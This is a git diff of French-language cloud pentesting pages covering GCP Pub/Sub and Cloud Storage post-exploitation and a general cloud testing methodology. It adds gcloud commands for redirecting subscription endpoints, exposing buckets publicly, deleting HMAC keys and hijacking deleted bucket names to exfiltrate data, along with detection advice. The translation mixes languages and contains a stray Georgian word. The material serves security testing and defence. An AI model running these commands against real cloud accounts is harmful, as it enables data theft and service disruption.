||||
|
||||
<summary>Supprimer topic</summary>
|
||||
<summary>Delete topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -54,7 +54,7 @@ Utilisez cette permission pour modifier certains paramètres du topic afin de le
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Donnez-vous la permission d'effectuer n'importe laquelle des attaques précédentes.
|
||||
Accordez-vous la permission d’effectuer n’importe laquelle des attaques précédentes.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
@@ -84,7 +84,7 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Récupérer tous les messages sur un serveur web :
|
||||
Obtenir tous les messages dans un web server :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
|
||||
```
|
||||
</details>
|
||||
|
||||
Créez un abonnement et utilisez-le pour **récupérer des messages** :
|
||||
Créer un abonnement et l’utiliser pour **pull messages** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un abonnement de type pull et récupérer les messages</summary>
|
||||
<summary>Créer un pull subscription et récupérer des messages</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -112,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Supprimer un abonnement** peut être utile pour perturber un système de traitement des logs ou quelque chose de similaire :
|
||||
**Supprimer un abonnement** pourrait être utile pour perturber un système de traitement des logs ou quelque chose de similaire :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Utilisez cette permission pour mettre à jour un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
|
||||
Utilisez cette permission pour modifier un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Point de terminaison de mise à jour de l'abonnement</summary>
|
||||
<summary>Update subscription endpoint</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Détournement du nom de bucket de subscription Cloud Storage - `storage.buckets.delete`
|
||||
|
||||
Les subscriptions Pub/Sub peuvent écrire les messages livrés dans des buckets Cloud Storage. Si une subscription continue de pointer vers `gs://<bucket-name>` et qu’un attaquant peut supprimer ce bucket, l’attaquant peut recréer le même nom de bucket globalement unique dans un autre projet et recevoir les futurs messages sans modifier la subscription.
|
||||
|
||||
Cela peut être précieux lorsque l’attaquant ne peut pas utiliser `pubsub.subscriptions.update`, mais peut supprimer le bucket de destination avec des permissions telles que `storage.buckets.delete`, `storage.objects.delete` et `storage.objects.list`.
|
||||
```bash
|
||||
# Find Cloud Storage subscriptions and their destinations
|
||||
gcloud pubsub subscriptions list --project <PROJECT_ID> \
|
||||
--format='json(name,topic,cloudStorageConfig)'
|
||||
|
||||
# Empty and delete the destination bucket
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
|
||||
# Recreate the same bucket name under attacker control
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
|
||||
# Grant the Pub/Sub service agent write access if delivery requires it
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
|
||||
--role='roles/storage.legacyBucketReader' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Potential Impact:** exfiltration de futurs messages Pub/Sub archivés vers Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.
|
||||
|
||||
**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Donnez-vous les autorisations nécessaires pour effectuer n'importe laquelle des attaques mentionnées précédemment.
|
||||
Give yourself the permissions needed to perform any of the previously commented attacks.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attacher un schema à un topic de façon à ce que les messages ne le respectent pas et que le topic soit perturbé.\
|
||||
Si aucun schema n'existe, vous devrez peut-être en créer un.
|
||||
Attaquer un schema à un topic afin que les messages ne le satisfassent pas et que le topic soit donc perturbé.\
|
||||
If there aren't any schemas you might need to create one.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer le fichier schema et l'attacher au topic</summary>
|
||||
<summary>Create schema file and attach to topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Cela pourrait donner l'impression qu'en supprimant un schema vous pourrez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimé, aucun message n'entrera réellement dans le topic. Donc c'est **INUTILE** :
|
||||
Cela peut sembler être la suppression d'un schema afin que vous puissiez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimé, aucun message n'entrera réellement dans le topic. Donc, c'est **USELESS** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete schema (not useful)</summary>
|
||||
<summary>Supprimer le schema (pas utile)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
@@ -186,11 +219,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Donnez-vous les permissions nécessaires pour effectuer n'importe laquelle des attaques commentées précédemment.
|
||||
Donnez-vous les permissions nécessaires pour effectuer n'importe laquelle des attaques précédemment commentées.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas très utile pour un attaquant mais voici :
|
||||
Cela créera un snapshot de tous les messages non ACKed et les remettra dans la subscription. Pas très utile pour un attaquant, mais ici c'est :
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+41
-9
@@ -10,9 +10,9 @@ Pour plus d'informations sur Cloud Storage, consultez cette page :
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accorder un accès public
|
||||
### Give Public Access
|
||||
|
||||
Il est possible de donner à des utilisateurs externes (connectés à GCP ou non) l'accès au contenu des buckets. Cependant, par défaut l'option d'exposer publiquement un bucket est désactivée :
|
||||
Il est possible de donner à des utilisateurs externes (connectés à GCP ou non) l'accès au contenu des buckets. Cependant, par défaut, le bucket aura l'option d'exposer publiquement un bucket désactivée :
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,9 +25,9 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
Si vous essayez de donner **ACLs à un bucket dont les ACLs sont désactivées**, vous obtiendrez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Si vous essayez de donner des **ACLs à un bucket avec des ACLs désactivées**, vous rencontrerez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Pour accéder aux buckets ouverts via un navigateur, utilisez l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
Pour accéder aux buckets ouverts via le navigateur, accédez à l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
@@ -37,13 +37,45 @@ gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Pour supprimer un bucket:
|
||||
Pour supprimer un bucket :
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### Désactiver les clés HMAC
|
||||
### Prise de contrôle globale du nom de bucket des upstream writers
|
||||
|
||||
La permission `storage.hmacKeys.update` permet de désactiver les clés HMAC, et la permission `storage.hmacKeys.delete` permet à une identité de supprimer les clés HMAC associées aux comptes de service dans Cloud Storage.
|
||||
Les noms de buckets Cloud Storage sont globalement uniques. Avant de supprimer un bucket, vérifiez si un service automatisé continue d’écrire dans ce bucket par son nom. Si le bucket est supprimé et que le même nom est recréé dans un projet contrôlé par un attacker, des upstream writers tels que les Cloud Logging sinks, les abonnements Pub/Sub Cloud Storage ou les jobs Storage Transfer Service peuvent continuer à écrire les données futures dans le bucket de remplacement.
|
||||
```bash
|
||||
# Cloud Logging sinks using GCS
|
||||
gcloud logging sinks list --project <PROJECT_ID> \
|
||||
--format='table(name,destination,writerIdentity)'
|
||||
|
||||
# Pub/Sub subscriptions writing messages into GCS
|
||||
gcloud pubsub subscriptions list --project <PROJECT_ID> \
|
||||
--format='json(name,topic,cloudStorageConfig)'
|
||||
|
||||
# Storage Transfer Service jobs
|
||||
gcloud transfer jobs list --project <PROJECT_ID>
|
||||
|
||||
# Delete and reclaim the destination bucket name
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
```
|
||||
Accordez l'accès approprié à l'identité writer de remplacement au bucket de remplacement si le service en amont l'exige :
|
||||
```bash
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='<WRITER_IDENTITY_MEMBER>' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Potential Impact:** exfiltration à long terme de logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.
|
||||
|
||||
**Detection & Mitigation:** treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict `storage.buckets.delete`, and use retention policies or legal holds for critical export buckets when appropriate.
|
||||
|
||||
### Deactivate HMAC Keys
|
||||
|
||||
The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
@@ -52,13 +84,13 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
Les permissions `storage.buckets.setIpFilter` et `storage.buckets.update` permettent à une identité de configurer des filtres d'adresses IP sur un bucket Cloud Storage, en spécifiant quelles plages ou adresses IP sont autorisées à accéder aux ressources du bucket.
|
||||
L'autorisation `storage.buckets.setIpFilter`, avec l'autorisation `storage.buckets.update`, permet à une identité de configurer des filtres d'adresse IP sur un bucket Cloud Storage, en spécifiant quelles plages ou adresses IP sont autorisées à accéder aux ressources du bucket.
|
||||
|
||||
Pour effacer complètement le filtre IP, la commande suivante peut être utilisée :
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Pour modifier les adresses IP filtrées, la commande suivante peut être utilisée :
|
||||
Pour changer les IP filtrées, la commande suivante peut être utilisée :
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Méthodologie Pentesting Cloud
|
||||
# Pentesting Cloud Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,39 +6,65 @@
|
||||
|
||||
## Méthodologie de base
|
||||
|
||||
Chaque cloud a ses propres particularités mais en général il y a quelques **choses communes qu'un pentester devrait vérifier** lorsqu'on teste un environnement cloud :
|
||||
Chaque cloud a ses propres particularités, mais en général, il y a რამდენიმე éléments **communs qu’un pentester devrait vérifier** lors d’un test d’un environnement cloud :
|
||||
|
||||
- **Benchmark checks**
|
||||
- Cela vous aidera à **comprendre la taille** de l'environnement et les **services utilisés**
|
||||
- Cela permettra aussi de trouver des **mauvaises configurations faciles à détecter**, car la plupart de ces tests peuvent être effectués avec des **outils automatisés**
|
||||
- **Services Enumeration**
|
||||
- Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement réalisé les tests de benchmark, mais vous pourriez en trouver certaines qui n'avaient pas été cherchées lors du test de benchmark.
|
||||
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
|
||||
- **Vérifications de benchmark**
|
||||
- Cela vous aidera à **comprendre la taille** de l’environnement et les **services utilisés**
|
||||
- Cela vous permettra aussi de trouver quelques **mauvaises configurations rapides**, car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
|
||||
- **Énumération des services**
|
||||
- Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement effectué les tests de benchmark, mais vous pourriez en trouver certaines qui n’étaient pas recherchées dans le test de benchmark.
|
||||
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l’environnement cloud
|
||||
- Cela aidera beaucoup pour les étapes suivantes
|
||||
- **Check exposed assets**
|
||||
- Cela peut être fait pendant la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment y accéder.
|
||||
- Ici je prends en compte l'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés cloud pouvant être configurés** pour être exposés (comme des DBs ou des buckets)
|
||||
- Ensuite, vérifiez **si cette ressource peut être exploitée ou non** (information confidentielle ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
|
||||
- **Check permissions**
|
||||
- Ici vous devez **identifier toutes les permissions de chaque rôle/utilisateur** dans le cloud et comment elles sont utilisées
|
||||
- Trop de comptes **hautement privilégiés** (contrôlent tout) ? Clés générées non utilisées ?... La plupart de ces vérifications devraient déjà avoir été faites lors des tests de benchmark
|
||||
- Si le client utilise OpenID ou SAML ou une autre **fédération** vous devrez peut-être leur demander des **informations** supplémentaires sur **comment chaque rôle est attribué** (ce n'est pas la même chose que le rôle admin soit attribué à 1 utilisateur ou à 100)
|
||||
- Il ne suffit pas de **trouver** quels utilisateurs ont des permissions **admin** "*:*". Il existe de nombreuses **autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
|
||||
- De plus, il existe des voies de **privesc** potentielles à suivre en abusant des permissions. Toutes ces choses doivent être prises en compte et **autant de chemins de privesc que possible** doivent être signalés.
|
||||
- **Check Integrations**
|
||||
- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées dans l'environnement cloud.
|
||||
- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès pour (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
|
||||
Par exemple, qui peut écrire dans un bucket AWS d'où GCP récupère des données (demandez à quel point l'action est sensible dans GCP lors du traitement de ces données).
|
||||
- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès externe pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
|
||||
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui peut modifier cette image et quelles informations sensibles et quels accès cette image obtiendra lorsqu'elle sera exécutée dans un cloud AWS.
|
||||
- **Vérifier les assets exposés**
|
||||
- Cela peut être fait pendant la section précédente, vous devez **déterminer tout ce qui est potentiellement exposé** à Internet d’une manière ou d’une autre et comment y accéder.
|
||||
- Ici, je parle de **l’infrastructure exposée manuellement** comme des instances avec des pages web ou d’autres ports exposés, ainsi que d’autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des DBs ou des buckets)
|
||||
- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
|
||||
- **Vérifier les permissions**
|
||||
- Ici, vous devriez **déterminer toutes les permissions de chaque rôle/user** dans le cloud et comment elles sont utilisées
|
||||
- Trop de comptes **hautement privilégiés** (qui contrôlent tout) ? Clés générées non utilisées ?... La plupart de ces vérifications auraient déjà dû être faites dans les tests de benchmark
|
||||
- Si le client utilise OpenID ou SAML ou une autre **fédération**, vous devrez peut-être lui demander plus d’**informations** sur **la façon dont chaque rôle est attribué** (ce n’est pas la même chose que le rôle admin soit attribué à 1 user ou à 100)
|
||||
- Il ne suffit **pas de trouver** quels users ont des permissions **admin** "\*:\*". Il existe beaucoup d’**autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
|
||||
- De plus, il existe des possibilités de **privesc** potentielles à suivre en abusant des permissions. Tout cela doit être pris en compte et **autant de chemins de privesc que possible** devraient être signalés.
|
||||
- **Vérifier les intégrations**
|
||||
- Il est très probable que des **intégrations avec d’autres clouds ou SaaS** soient utilisées dans l’environnement cloud.
|
||||
- Pour les **intégrations du cloud que vous auditez** avec d’autres plateformes, vous devez notifier **qui a accès pour (ab)user de cette intégration** et vous devez demander **à quel point** l’action exécutée est **sensible**.\
|
||||
Par exemple, qui peut écrire dans un bucket AWS à partir duquel GCP récupère des données (demandez à quel point l’action dans GCP traitant ces données est sensible).
|
||||
- Pour les **intégrations à l’intérieur du cloud que vous auditez** depuis des plateformes externes, vous devez demander **qui a accès en externe pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
|
||||
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devez demander qui a accès pour la modifier et quelles informations sensibles et quels accès cette image obtiendra lorsqu’elle sera exécutée dans un cloud AWS.
|
||||
|
||||
## Multi-Cloud tools
|
||||
### Chasser les flux de données autonomes écrivant vers un stockage à nom globalement unique
|
||||
|
||||
Il existe plusieurs outils qui peuvent être utilisés pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
|
||||
Lors de la post-exploitation, examinez les exports de longue durée tels que les log sinks, les subscriptions, les replication jobs, les Firehose streams et les diagnostic settings qui écrivent vers des buckets ou des storage accounts avec un nom globalement unique. Si la destination peut être supprimée et que le même nom peut être recréé sous le contrôle de l’attaquant, le service en amont pourrait continuer à livrer des données sensibles vers la destination de remplacement même lorsque l’attaquant ne peut pas mettre à jour lui-même la ressource router.
|
||||
|
||||
Concentrez cette vérification sur les pages des services pertinents :
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Outils Multi-Cloud
|
||||
|
||||
Il existe plusieurs outils qui peuvent être utilisés pour tester différents environnements cloud. Les étapes d’installation et les liens seront indiqués dans cette section.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Un outil pour **identifier les mauvaises configurations et privesc path dans les clouds et entre clouds/SaaS.**
|
||||
Un outil pour **identifier les mauvaises configurations et les chemins de privesc dans les clouds et entre clouds/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Il prend en charge **AWS, GCP & Azure**. Consultez comment configurer chaque fournisseur sur [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Il prend en charge **AWS, GCP & Azure**. Vérifiez comment configurer chaque provider dans [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -168,9 +194,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Vérifier tous les projets</summary>
|
||||
<summary>Vérifier tous les Projects</summary>
|
||||
|
||||
Afin de vérifier tous les projets, vous devez générer le fichier `gcp.spc` indiquant tous les projets à tester. Vous pouvez simplement suivre les indications du script suivant
|
||||
Afin de vérifier tous les projects, vous devez générer le fichier `gcp.spc` indiquant tous les projects à tester. Vous pouvez simplement suivre les indications du script suivant
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Pour consulter **autres insights GCP** (utile pour énumérer les services) : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Pour vérifier **d'autres insights GCP** (utile pour énumérer des services) utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Pour consulter le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Pour vérifier le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
D'autres plugins GCP pour Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Plus de plugins GCP de Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Pour vérifier le code Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
Pour vérifier du code Terraform AWS : [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Plus de plugins AWS pour Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Plus de plugins AWS de Steampipe : [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
Il requiert python2.7 et semble non maintenu.
|
||||
Il nécessite python2.7 et semble non maintenu.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus propose un scan _**Audit Cloud Infrastructure**_ prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Certaines configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
|
||||
Nessus a un scan _**Audit Cloud Infrastructure**_ prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Des configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist est un **outil multi-cloud pour récupérer des Assets** (Hostnames, IP Addresses) auprès des fournisseurs cloud.
|
||||
Cloudlist est un outil **multi-cloud pour obtenir des Assets** (Hostnames, Adresses IP) depuis des Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography est un outil Python qui consolide les ressources d'infrastructure et les relations entre elles dans une vue graphique intuitive alimentée par une base de données Neo4j.
|
||||
Cartography est un outil Python qui consolide les assets d'infrastructure et les relations entre eux dans une vue graphe intuitive alimentée par une base de données Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase collecte des assets et des relationships provenant de services et de systèmes, y compris cloud infrastructure, applications SaaS, security controls, et bien plus, dans une vue de graphe intuitive reposant sur la base de données Neo4j.
|
||||
Starbase collecte des assets et des relations à partir de services et systèmes, y compris l’infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise powershell.
|
||||
Découvrir les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +398,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (target) sur les principaux fournisseurs cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Un outil pour trouver l'infrastructure, les fichiers et les apps d'une entreprise (cible) sur les principaux fournisseurs cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox est un outil pour identifier exploitable attack paths dans l'infrastructure cloud (actuellement seuls AWS & Azure sont supportés, GCP à venir).
|
||||
- C'est un outil d'enumeration destiné à compléter le pentesting manuel.
|
||||
- Il ne crée ni ne modifie de données dans l'environnement cloud.
|
||||
- CloudFox est un outil pour trouver des chemins d'attaque exploitables dans l'infrastructure cloud (actuellement seuls AWS & Azure sont supportés, GCP à venir).
|
||||
- C'est un outil d'énumération conçu pour compléter le pentesting manuel.
|
||||
- Il ne crée ni ne modifie aucune donnée dans l'environnement cloud.
|
||||
|
||||
### More lists of cloud security tools
|
||||
### Plus de listes d'outils de sécurité cloud
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -410,7 +436,7 @@ aws-security/
|
||||
azure-security/
|
||||
{{#endref}}
|
||||
|
||||
## Fonctionnalités communes de sécurité cloud
|
||||
## Fonctionnalités courantes de sécurité cloud
|
||||
|
||||
### Confidential Computing
|
||||
|
||||
@@ -418,4 +444,11 @@ azure-security/
|
||||
confidential-computing/luks2-header-malleability-null-cipher-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
|
||||
- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
|
||||
- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
|
||||
- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
